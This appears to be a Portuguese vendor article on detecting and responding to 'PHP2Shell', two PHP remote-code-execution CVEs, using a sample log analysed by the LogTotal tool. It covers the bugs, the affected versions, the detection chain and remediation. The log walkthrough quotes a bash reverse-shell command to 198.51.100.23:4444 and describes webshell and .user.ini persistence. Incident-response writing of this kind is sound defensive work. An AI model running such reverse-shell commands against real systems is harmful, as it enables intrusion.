Análise de Detecção e Exploração de PHP2Shell

A detecção de PHP2Shell é importante porque o intervalo entre um patch e uma exploração no mundo real pode ser de um único dia. PHP2Shell é o nome de duas falhas de execução remota de código não autenticadas no núcleo do PHP, CVE-2026-109618 e CVE-2026-109619, ambas classificadas como CVSS v4.0 9.2. Não é necessária autenticação, portanto, qualquer aplicação PHP exposta em uma versão não atualizada é um alvo. No exemplo abaixo, a exploração se manifesta como uma falha do trabalhador do PHP seguida pela execução de comandos como o usuário do servidor web.

Este artigo aborda a detecção de PHP2Shell usando uma amostra de log analisada no LogTotal, uma ferramenta de análise de logs que corresponde eventos a ameaças conhecidas. Abaixo, explicamos o contexto da vulnerabilidade, de onde vieram os logs, o que o LogTotal encontrou e como responder.

Análise do PHP2Shell

Ambas as falhas do PHP2Shell pontuam 9.2 sob o CVSS v4.0, e ambas podem ser acessadas sem autenticação em qualquer instalação de PHP que atenda a solicitações web. Para ler corretamente a amostra do log, ajuda saber como cada bug funciona, quão rapidamente a divulgação ocorreu e quais instalações estão expostas.

Comece Gratuitamente

Detalhes da vulnerabilidade do PHP2Shell

Os dois CVEs são bugs separados de segurança de memória em como o PHP lida com uma solicitação. Qualquer um deles permite que um invasor execute código como o usuário do servidor web.

• CVE-2026-109618, corrupção de memória insuficiente. Quando o PHP fica sem memória durante a configuração de uma solicitação, os dados internos ficam incompletos, e o código de limpeza então os considera confiáveis.
• CVE-2026-109619, estado global obsoleto. O estado interno sobrevive à memória de solicitação à qual se refere, então a próxima solicitação que o mesmo trabalhador assume pode agir sobre os dados remanescentes.

É por isso que a exploração aparece como erros de “Memória permitida do PHP… esgotada” e falhas de trabalhadores do PHP. Scanners públicos PHP2Shell procuram os mesmos sinais.

Cronograma de divulgação e exploração

Pesquisadores na Calif descobriram as falhas e as relataram ao PHP. O vazamento é o motivo pelo qual a cadeia do LogTotal é intitulada “Vulnerabilidades Críticas PHP Vazada.” Código PoC público e frameworks de exploração apareceram no GitHub em poucos dias, e uma caixa de ferramentas de pesquisa relata execução de comando verificada como www-data em builds do PHP 7.4 a 8.4 abaixo das versões corrigidas.

Quais sistemas PHP2Shell afeta

PHP lista cada versão antes de 8.5.12, 8.4.27, 8.3.36 e 8.2.35 como vulneráveis, e também ramos mais antigos.

Toda instalação de PHP que atenda pedidos web está em escopo, seja ela executada sob PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, ou FrankenPHP. O PHP classifica o risco como mais alto para Apache mod_php, onde um ataque pode ter sucesso antes que qualquer código de aplicação seja executado.

Fonte e coleta de logs

O arquivo mescla duas fontes em um único esquema:

• 2 linhas de texto simples do tempo de execução do PHP e o log de erro do PHP-FPM
• 4 eventos (arquivo e processo), normalizados para ECS

A mistura é típica do que chega a um SIEM na prática: logs de erros de aplicativos ao lado de telemetria EDR.

Detectar PHP2Shell

LogTotal processou 6 linhas em 4.2 segundos, comparou 9 regras contra 4 linhas e formou uma cadeia em web-prod-01: PHP2Shell, Vulnerabilidades Críticas PHP Vazadas (CVE-2026-109618 & CVE-2026-109619), Crítico, 100% de correspondência, 3 regras acionadas.

Como a cadeia PHP2Shell se desenrola

A cadeia segue a exploração em três etapas, todas em três segundos.

1. Falha. A regra “Possível Tentativa de Exploração CVE-2026-109618 / CVE-2026-109619 – Esgotamento de Memória do PHP / Falha de Trabalhador do PHP” correspondeu a um erro fatal de PHP “Tamanho de Memória Permitido … esgotado” e a um filho PHP-FPM 1201 morrendo por SIGSEGV. Estes são os mesmos sinais de falha que scanners públicos PHP2Shell procuram.
2. Shell do trabalhador web. “Possível Trabalhador PHP Gerando Processo Incomum” e “Shell Suspeito via Servidor Web [Linux]” capturaram php-fpm, executando como www-data, gerando sh -c bash /dev/shm/.s. O script foi montado na RAM suportada /dev/shm.
3. Shell reverso. “Possível Exfiltração de Dados / Shell Reverso via Bash” correspondeu a bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Fora da cadeia, mais quatro regras atingiram o mesmo comando, liderado por um Indicador de Shell Reverso Linux (Crítico).

Usando descobertas do LogTotal na triagem do PHP2Shell

A cadeia fornece a ordem dos eventos e a gravidade em uma tela. Os eventos brutos fornecem os IOCs para bloquear e a persistência para remover. Use ambos: confirme os três passos da cadeia, depois reveja os eventos de arquivo e linhas de comando para IOCs e persistência.

Mitigação de PHP2Shell

A solução definitiva para PHP2Shell é um lançamento corrigido do PHP, e o PHP afirma que nenhuma mudança de configuração mitiga totalmente essas falhas. Em um servidor que já foi explorado, simplesmente aplicar patches não é suficiente: o webshell e .user.ini persistem em uma atualização do PHP.

Corrija toda a instalação de PHP

1. Faça o inventário de cada servidor e aplicação que executa PHP, começando com sistemas voltados para a internet e qualquer servidor que execute PHP como um módulo Apache.
2. Atualize cada instalação para 8.5.12, 8.4.27, 8.3.36, ou 8.2.35, correspondente ao seu ramo. As distribuições Linux receberam os patches antes do lançamento, então verifique por pacotes de distribuição atualizados.
3. Reinicie cada trabalhador do PHP para que a correção tenha efeito.
4. Para PHP 7.4, 8.0 e 8.1, use um pacote de distribuição ou de fornecedor LTS ou backports mínimos do PHP, ou faça o upgrade. PHP 7.3 e anteriores não têm correção.
5. Restrinja o acesso à internet de qualquer sistema PHP que não puder ser atualizado imediatamente.

Revisores da comunidade também relatam CVE-2026-115560, um vetor separado, dependente de configuração e relacionado a upload-progress de sessão, coberto por um comunicado informativo do PHP em 23 de outubro de 2026. Não faz parte do PHP2Shell e foi deixado para uma versão posterior; a recomendação provisória é session.upload_progress.enabled = 0.

Resposta recomendada do LogTotal

1. Isole web-prod-01.
2. Preserve seus logs web, do sistema e da rede.
3. Investigue o destino do shell reverso.
4. Verifique a versão e o patch do PHP.
5. Alerta para futuras falhas de trabalhadores PHP e spawns de shell.

Etapas adicionais a partir das evidências brutas

1. Bloquear saída para 198.51.100.23:4444.
2. Preserve as evidências antes da limpeza: copiar uploads/.cache.php, .user.ini, e /dev/shm/.s. Arquivos em /dev/shm são perdidos ao reiniciar.
3. Remova a persistência. Delete a diretiva auto_prepend_file, ou, melhor, reconstrua o host em uma versão corrigida do PHP.
4. Gire todos os segredos que www-data pode ler, como credenciais de banco de dados e chaves de API em configuração de aplicação.
5. Procure na frota web :
   • arquivos .user.ini contendo auto_prepend_file
   • arquivos PHP ocultos em pastas de upload
   • shells gerados por php-fpm, php-cgi, apache2 ou httpd

Monitoramento contínuo do PHP2Shell

Mantenha logs de erro do PHP e do PHP-FPM fluindo para seu SIEM junto com a telemetria EDR. Nesta amostra, as linhas de falha foram o primeiro sinal e os eventos de arquivo EDR mantiveram a persistência. Qualquer fonte sozinha contaria apenas metade da história.